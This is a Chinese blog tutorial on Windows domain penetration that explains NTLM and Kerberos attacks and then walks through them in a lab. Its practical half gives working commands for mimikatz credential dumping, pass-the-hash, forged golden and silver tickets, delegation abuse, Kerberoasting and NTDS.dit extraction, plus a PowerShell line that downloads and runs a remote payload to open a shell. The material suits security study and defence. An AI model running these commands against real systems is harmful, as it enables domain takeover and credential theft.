tkcharlotte's blog

整理完这一套累死…
本文首发于90sec.

前言

整理总结一下域渗透中常用的知识和手法,构建知识体系 : )

感谢klion师傅提供的环境。

感谢各位师傅们的输出(ノ*・ω・)ノ 参考的文章基本都在参考链接中。

域渗透 — 预备知识

何为域

域(Domain)是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后,2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理。

在 Windows 网络操作系统中,域是安全边界。域管理员只能管理域的内部,除非其他的域显式地赋予他管理权限,他才能够访问或者管理其他的域;每个域都有自己的安全策略,以及它与其他域的安全信任关系。

windows 认证方式

NTLM认证

本地登录时,用户的密码经过散列算法加密后存储在system32\config\sam文件,当用户在登录界面输入密码后,winlogon.exe接收用户输入,然后把密码给lsass.exe,将密码转成NT Hash,然后与文件中已有的散列值比较。

Hash类型

LM Hash

LM(LAN Manager) Hash 是早期使用的一种hash,在windows vista以后的版本中默认被禁用,使用更加安全的NTLM Hash.

NT Hash

现在windows存储使用的hash

NTLM Hash

NTLM认证过程中使用的hash,是现代windows系统中使用的一种hash,由NT HashLM Hash组成。储存在SAM文件中,如果存在域环境,也储存在域控的NTDS.dit文件中,可以直接拿来进行哈希传递攻击。

工作组环境中的认证

认证使用NTLM协议,采用Challenge/Response 机制,认证过程可以分为三步:

  1. 协商: 确定双方协议版本
  2. 质询:Challenge/Response 机制起作用的环节
  3. 验证:质询完成后验证结果

质询的主要过程:

  • 客户端向服务端发送用户(用户名)请求

  • 服务端接收请求,生成一个16位的随机数,称为Challenge,使用用户名对应的NTLM Hash加密Challange,生成的值称为Challenge-server,同时将16位随机数发送给客户端。

  • 客户端接收到Chanllenge后,使用想要登录的用户对应的NTLM Hash加密它,该值称为Challenge-client然后发送给服务端。

  • 服务端收到客户端发送的Challenge-clientChallenge-server比较,相等即通过认证。

    其实就是双方规定一个字符串,利用散列算法的单向性以及唯一性对同一串字符串加密,生成一串散列值然后比较是否相等,并没有做过多的验证,所以会导致安全问题,最常见的就是pth.

域环境中的认证

在域中首先使用的是Kerberos认证,在一些早期版本中或者是前者出错时才会用NTLM认证。

与在工作组中的认证相比,在域中的认证多了个域控,域中的认证过程可以分为以下几步:

  • 客户端获取输入的username password domain信息,传给服务器。

  • 与上面一样,服务端发送16位的随机码给客户端。

  • 客户端使用本地的NTLM Hash对随机码加密,得到的值发送给服务端。

  • 服务端向域控发送验证消息,消息包括客户端申请的用户名 随机码以及传过来的Net NTLM Hash

  • 域控查看该用户对应的NTLM Hash,然后加密随机码,将得到的Net NTLM Hash与客户端的做比较,将结果发给服务端。

  • 服务端根据结果是否相等来返回给客户端不同的结果,验证通过或者是不通过。

    可以看到与工作组认证相比,把验证对比的权利交给了域控,服务端只是起一个中间人的角色,负责传话。

pth

从工作组认证过程可以看出,并没有对16位的随机字符串Challenge做任何处理,只是采用NTLM Hash对其加密,如果我们可以拿到该用户的NTLM Hash就能伪造一个正确的Challenge-client传给服务端完成认证,如果拿到hash以后无法解密,就可以尝试一下pth.

在一定条件下pth也可以用于远程桌面登录,细节看三好学生师傅文章

ptk

上文中提到可以使用pth(pass the hash)来完成对内网的渗透拓展,控制其他主机,微软在12年发布了针对pth的补丁KBb2871997,打了补丁以后常规的攻击无法复现,但是忽略了默认的Administrator(SID 500),只要用户的SID为500,就可以用该账户进行攻击。

在内网禁用了NTLM的环境下也无法进行传递攻击。而mimikatz中的sekurlsa::pth模块可以突破这一点,使用aes key 完成攻击,所以被称为pass-the-key.

Kerberos认证

Kerberos认证涉及到三方,分别是Client KDC Server,而KDC又分为两部分,分别是AS(Authentication Server)以及TGS(Ticket Granting Server),在该认证过程中靠的是票据,类似于Token一样的一种表明身份的东西。

kerberos认证可以类比坐火车,首先你要通过火车站的安检系统,这样才能进入火车站,进站以后拿到上车的凭证-车票,上车时再核对车票信息,一切都通过后就可以享受火车之旅,同样的,在kerberos认证中Client先与AS交互,得到一个凭证来访问TGS,再与TGS交互,得到访问服务的凭证,最后与服务器交互,完成信息交互。

详细的认证过程如下:

首先是ASClient交互:

  • ClientAS发送自己的ID 网络地址 等信息,经过Clienthash加密。(KRB_AS_REQ)

  • ASClient发送两条消息,一条是经过Client密码加密的TGS-Session-Key,用作与TGS交互的密钥.

    另一条消息就是TGT,TGT包括TGS-Session-Key以及时间戳等信息,由KRBTGT账户的hash加密,该账户是域创建时自动创建的账号。(KRB_AS_REP)

然后是ClientTGS的交互:

  • Client收到AS返回的信息,解密第一条信息,得到与TGS交互的密钥。然后将本地信息通过密钥加密后连同TGT一起发送给TGS.(KRB_TGS_REQ)
  • TGS接收到消息后会检查是否存在所请求的服务,如果存在就用KRBTGT账户的Hash解密TGT,然后验证相关信息,验证通过后会使用TGS-Session-Key加密Server-Session-Key(ClientServer交互的密钥),将时间戳 生命周期等信息通过服务的Hash加密后作为Server-Ticket传给Client.(KRB_TGS_REP)

最后是ClientServer的交互:

  • Client获得TGS发回的数据后用TGS-Session-Key解密得到Server-Session-Key,将网络地址 ID等信息通过Server-Session-Key加密,连带Server-Ticket一起发送给Server.(KRB_AP_REQ)
  • Server接收到消息后会用自身Hash解密Server-Ticket,然后验证,验证通过后开始传输数据,走正常的服务请求。(KRB_AP_REP)
Golden Ticket(黄金票据)

TGT是由KRBTGT用户生成的,有了该票据你可以访问任何通过kerberos认证的服务,如果我们拿到了该用户的Hash,那么我们就可以伪造TGT,该用户只存在于域控中,所以前提是你要拿到域控的权限,有了域控权限干啥不行…

Silver Ticket(白银票据)

如果我们有服务器上的用户Hash,就可以伪造一个Server-Ticket绕过认证,达到访问服务的目的。白银票据只能访问特定的服务。

MS14-068

MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票据(TGT)中
插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控的KDC中。用户可以通过
呈现具有改变的PACKerberos TGT来获得票据。

一句话,可以在拥有一个普通域用户的情况下可以提升为域管理权限。

委派攻击

委派分为三种,分别是无约束委派 约束委派以及基于资源的约束委派.

委派简单来说就是模拟客户端,允许服务器用客户端的身份与其他服务交互,比方说在域中有站库分离的web服务,客户端A,http服务器B,mysql服务器C,A想要获得某些数据,就需要B与C交互,这时B扮演的就是客户端的角色,这就是一个委派的例子。

委派的认证过程如下:

客户端与KDC完成KRB_AS_REP KRB_AS_REQ 交互.拿到forwardable TGT.

客户端通过KRB_TGS_REQ 请求转发的TGT,记作forwarded TGT,KDC通过KRB_TGS_REP返回该票据。

客户端使用forwarded TGT通过KRB_TGS_REQ请求Server 1的服务对应的票据,KDC通过KRB_TGS_REP返回票据。

客户端通过KRB_AP_REQServer 1发送服务票据 forwardable TGT forwarded TGT以及对应的密钥等信息。

为了满足客户端的需求,Server 1需要用到server2的一些数据,需要server1以用户的身份请求Server 2,在该过程中,server1使用forwarded TGT,以用户的名义通过KRB_TGS_REQKDC请求Server 2的服务票据,通过KRB_TGS_REP返回server2的服务票据。

server1 用该票据请求server2,获取数据。

然后重复上述的过程…

当开启无约束委派时,DC会将客户端的TGT的副本放在服务票据中,当客户端向服务器提供服务票据时,服务器会将票据中的用户TGT放入lsass.exe中,在有效期内可以无限制的假冒该用户。如果管理员访问了无约束委派的服务,就能拿到管理员的TGT,模拟域管理访问任意服务,获得管理权限。

为了解决上述问题,微软提出了约束性委派,微软发布了两个kerberos拓展协议,S4U2ProxyS4U2Self.

无约束委派中直接拿用户的TGT访问服务,在委派服务中,服务AS4UProxyKDC申请访问服务B的服务票据,然后A使用KDC返回的新票据来访问B。S4USelf协议用来转换非kerberos协议与服务的认证,向服务器申请服务票据,就可以使用S4UProxy协议请求访问其他服务的票据。

有点懵… 先占个坑

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94

基于资源的约束委派,可以看绿盟博客

Kerberoasting

kerberos认证过程的第四步中,TGS会向Client发送经过服务账户的Hash加密后的服务票据,我们可以拿到这个票据,在本地模拟加密过程对密码进行爆破。如果得到的票据相同,说明得到了服务账户的密码。

服务主体名称(Service Principal Names SPN)是服务器运行服务的唯一标识,每个使用kerberos协议的服务都需要注册一个SPN,SPN分为两种,一种注册在域内机器用户账户(Computer),一种注册在域内用户账户(User)。机器账户一般是默认注册的,如果在域用户下运行服务,必须手动注册SPN,用到setspn.exe

通过SPN查询,可以挖掘有用的信息,注册在域内用户账户下的SPN, 使用Kerberoast攻击尝试获取密码,也可以找到域中开启相关服务的主机,可以尝试用当前域用户信息登录主机,因为SPN发生在认证过程中,属于正常范围之内,所以比较难检测。

组策略首选项 + SYSVOL (GPP漏洞 –2k08)

SYSVOL存在于域中的所有域控中。包含公共文件的共享文件夹,包括组策略数据 ,经过认证的用户都可以访问该文件夹。所有域组策略都存储在这里:\\ <DOMAIN> \ SYSVOL \ <DOMAIN> \ Policies \

win2k8中添加了GPP选项,即组策略首选项,可以完成更多的系统及应用管理,比如说管理本地用户 添加计划任务等。

在08的域控上为域主机远程添加用户,所有的操作都会写到Group.xml文件中,包括创建的账户名称 时间 以及加密后的密码。该密码默认是用AES256加密的,而且官方提供了完整的密钥,正好用来解密得到密码。漏洞的补丁编号为KB2962486.

域信任关系

域信任关系可以认为是一个域与其他域之间的一种资源访问控制,就像两个国家之间的外交关系,有合作伙伴 也有战略合作伙伴,不同的等级对应的开放程度也不相同。

域信任是有方向的,单向信任以及双向信任。

域信任按传递性可以分为可以传递的(朋友的朋友还是朋友,A->B B->C =>A->C)和非传递性的.

默认信任关系

手动创建的其他信任关系

域和信任关系

域信息收集常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
ipconfig/all  				 					查看ip
net user 查看本地用户
net user /domain 查看域用户
net view /domain 查看有几个域
net view /domain:domain_name 查看某个域内主机
net group /domain 查看域有哪些组
net group “domain admins” /domain 查看域管理员组
net group “domain controllers” /domain 查看域控
net localgroup administrators /domain 查看域管理
net time
hostname 主机名
query user 用户登录信息 判断用户是否在线
...

待补充…

域渗透 — 实践过程

pth

拿到了用户的哈希解不开时,可以使用pth

mimikatz
1
2
3
4
privilege::debug 
sekurlsa::logonpasswords
如果显示不全,采用非交互式可以导出到文件中查看
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >> result.txt

1
2
3
privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:ntlm_hash
ps:3.144 为域控ip

powershell

Invoke-WMIExec.ps1

可以执行命令,也可以反弹一个shell,此处加载payload,反弹给cs

1
2
Invoke-WMIExec  -Target 192.168.3.144 -Domain workgroup -Username administrator -Hash hash -Command "powershell.exe iex(New-Object Net.WebClient).DownloadString('http://192.168.3.128
/payload.ps1')"

ptt

用在kerberos认证中,主要有以下三种..

MS14-068

域内用户的sid 域用户的密码 域控位置

MS14-068.exe

whoami /all查看用户sid

工具相关参数:

1
2
3
4
-u 域主机名@域名
-p 密码
-s sid值
-d 域控

生成ccache文件

MS14-068.exe -u sqladmin@rootkit.org -p password -s S-1-5-21-3759881954-2993291187-3577547808-1613 -d OWA2013.rootkit.org

使用法国神器导入之前生成的ccache文件,导入之前先清除一下缓存中的票据

黄金票据

前提:

  • 域名
  • sid
  • krbtgt账户的NTLM HASH
  • 伪造用户名

导出krbtgtHash

1
2
privilege::debug
lsadump::dcsync /user:krbtgt

生成黄金票据,伪造域用户administrator,注入票据后查看域用户共享

1
mimikatz # kerberos::golden /domain:rootkit.org /sid:sid/aes256:ase256 /user:administrator /ticket:admin.kirbi

也可以使用Hash值,不使用key

1
2
lsadump::lsa /patch 导出hash
kerberos::golden /domain:rootkit.org /sid:sid /krbtgt:hash /user:administrator /ticket:admin.kirbi
白银票据

白银票据不需要与KDC交互,需要服务的Hash,只能面向特定服务。

复现之前记得先清除票据.

klist purge 或者在mimikatz中:kerberos::purge

1
2
mimikatz # kerberos::golden /user:dbadmin /domain:rootkit.org /sid:sid /targe
t:Srv-Web-Kit.rootkit.org /rc4:ntlm_hash /ptt

ptk

前面的概念中提过一点,打了补丁以后,ptt只能用mimikatz来完成。

获取aes key

1
2
privilege::debug
sekurlsa::ekeys

导入key

1
mimikatz # sekurlsa::pth /user:administrator /domain:workgroup /aes128:key

要用主机名访问… 在这卡了好一会…

kerberoast

攻击一般分为SPN发现,请求票据 导出票据 破解票据 重写这几部分。

第一种使用mimikatz的方法

kerberoast

使用工具集中的GetUserSPNs.ps1进行扫描

申请票据

1
2
3
Add-Type -AssemblyName System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-Web-Kit.rootkit.org:1433"

使用klist会发现票据已经在内存中。

导出票据

kerberos::list /export

爆破票据

使用tgsrepcrack.py爆破

python tgsrepcrack.py dictfile 导出的票据 能不能爆破成功关键还是字典…

第二种 直接提取字节流转换成可以爆破的格式

Invoke-Kerberoast.ps1

Invoke-kerberoast –outputformat hashcat | fl

使用hashcat破解,本地复现的时候提示装一些东西,就没去破解…

重新写入内存(未测试)

./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -u 500

把新的票据重新注入内存

kerberos::ptt sql.kirbi

委派攻击

powerview.ps1

无约束委派

在域控给服务账户设置无约束委派

选择第二项,无约束委派,如果服务没有注册SPN,先使用setspn.exe注册一下。

假设我们拿到了域内一台服务的权限

使用PowerView.ps1脚本查看开启无约束委派的服务

1
2
Get-NetUser -Unconstrained -Domain rootkit.org
Get-NetComputer -Unconstrained -Domain rootkit.org

提取受控主机内存中保存的票据,进行ptt攻击。

1
2
privilege::debug
sekurlsa::tickets /export //导出票据

可以看到有域管理的凭证,

注入该凭证。

然后访问域控。

约束委派

在开启约束委派的主机上无法抓到用户的TGT,只能抓到服务票据,所以只能访问特定的服务。

如果知道服务账户的的明文密码或者哈希值,就可以拿到域管理权限。

kekeo

查看约束委派是否存在

1
2
Get-DomainUser -TrustedToAuth -Domain rootkit.org //账户
Get-NetComputer -Unconstrained -Domain rootkit.org //主机

生成tgt

1
tgt::ask /user:sqladmin /domain:rootkit.org /password:Admin12345

申请tgs票据

1
2
tgs::s4u:TGT_sqladmin@ROOTKIT.ORG_krbtgt~rootkit.org@ROOTKIT.ORG.kirbi /user:administrator@rootkit.org  /service
:cifs/OWA2013.rootkit.org

导入tgs票据

dir访问域控共享目录

keoeo也支持直接使用哈希获取tgt

1
tgt::ask /user:sqladmin /domain:rootkit.org /NTLM:hashvalue

这样我们只要拿到服务的权限,就能提取出凭证进行攻击。

基于资源的约束委派

看绿盟那篇博客吧…

哈希导出

可以使用procdump.exe导出lsass.exe中的内存映像,离线抓密码

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

mimikatz::sekurlsa:minidump lsass.dmp

mimikatz::sekurlsa:logonpasswords

DCsync
mimikatz

lsadump::dcsync /domain:rootkit.org /all /csv 利用dcsync(目录复制服务)获取ntds.dit中的密码哈希。 可以在域管理范围之内的任意一台主机运行。

多加一个/user name 参数,可以指定用户导出

也可以直接在域控上导出lsass.exe进程中的哈希。

1
2
privilege::debug
lsadump::lsa /inject
powershell

Invoke-DCSync.ps1

Empire

credentials/mimikatz/dcsync_hashdump

NTDS.DIT/Volume Shadow Copy Service

NTDS.DIT文件保存了域中所有用户的密码和哈希值。

ntdsutil

默认安装

查询快照

1
2
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit

创建快照

ntdsutil snapshot "activate instance ntds" create quit quit

挂载快照

ntdsutil snapshot "mount {2931cb68-5c88-4f27-ac6d-abcb738bfee7}" quit quit

复制

copy C:\$SNAP_201909221525_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

一定要在cmd中运行… 一开始在ps中运行,老是找不到路径…

卸载快照 清理痕迹

ntdsutil snapshot "unmount {2931cb68-5c88-4f27-ac6d-abcb738bfee7}" quit quit

vssadmin

默认安装

查询系统快照

vssadmin list shadows

创建快照

vssadmin create shadow /for=c:

复制文件

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit c:\ntds.dit

删除快照

vssadmin delete shadows /for=c: /quiet

vshadow

不自带,直接使用.bat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=\windows\ntds\ntds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%

上传.batexe文件到当前目录,可以下载源码编译,想偷懒也可以直接戳这里 不保证安全性。

运行脚本,会自动执行整个流程。

导出之前还需要用esentutl修复一下

esentutl /p /o ntds.dit

导出syskey

reg save hklm\system system.hive

….
从NTDS.DIT中提取哈希

得到ntds.dit文件以后,直接在线导出哈希

1
QuarksPwDump.exe --dump-hash-domain --with-history --ntds-file ntds.dit --system-file system.hive -o pass.txt

quarkspwdump.exe

1
2
3
4
5
6
7
8
9
10
11
12
quarks-pwdump.exe <options>
Options :
-dhl --dump-hash-local
-dhdc --dump-hash-domain-cached
-dhd --dump-hash-domain (NTDS_FILE must be specified)
-db --dump-bitlocker (NTDS_FILE must be specified)
-nt --ntds-file FILE
-hist --with-history (optional)
-t --output-type JOHN/LC (optional, if no=>JOHN)
-o --output FILE (optional, if no=>stdout)

Example: quarks-pwdump.exe --dump-hash-domain --with-history

也可以用Invoke-NinjaCopy.ps1

注册表导出哈希

涉及到三个注册表项,分别是HKEY_LOCAL_MACHINE\SAM HKEY_LOCAL_MACHINE\SECURITY HKEY_LOCAL_MACHINE\SYSTEM

HKEY_LOCAL_MACHINE\SAM包含本地用户凭证

HKEY_LOCAL_MACHINE\SECURITY中缓存了域用户的凭证

HKEY_LOCAL_MACHINE\SYSTEM中可以提取出syskey,进而解密哈希

1
2
3
reg.exe save hklm\sam c:\sam.save
reg.exe save hklm\security c:\security.save
reg.exe save hklm\system c:\system.save

使用impacket套件中的secretsdump.py解密

python secretsdump.py -sam ../../sam.save -security ../../security.save -system ../../system.save LOCAL

也可以用cain.

其他

工具千千万,重要的还是思路吧 : )

参考资料

深刻理解windows安全认证机制 ntlm & Kerberos

彻底理解Windows认证 – 议题解读

http://drops.xmd5.com/static/drops/tips-11631.html

LM, NTLM, Net-NTLMv2, oh my!

https://github.com/crazywa1ker/DarthSidious-Chinese

https://sakuxa.com/2019/04/03/01-Windows认证之NTLM/

windows认证-白银票据、黄金票据分析及利用

域渗透——Kerberoasting

我所了解的内网渗透——内网渗透知识大总结

https://www.freebuf.com/articles/system/6089.html

Kerberos协议探索系列之委派篇

攻击活动目录:无约束委派及域林信任

S4U2Pwnage

http://blog.nsfocus.net/analysis-attacks-entitlement-resource-constrained-delegation/

Attacking Kerberos Delegation

域密码哈希导出的那些事儿

渗透测试中心

域渗透-获得域控服务器的NTDS.dit文件

导出当前域内所有用户hash的技术整理

 评论


载入天数...载入时分秒... | 字数统计:14.4k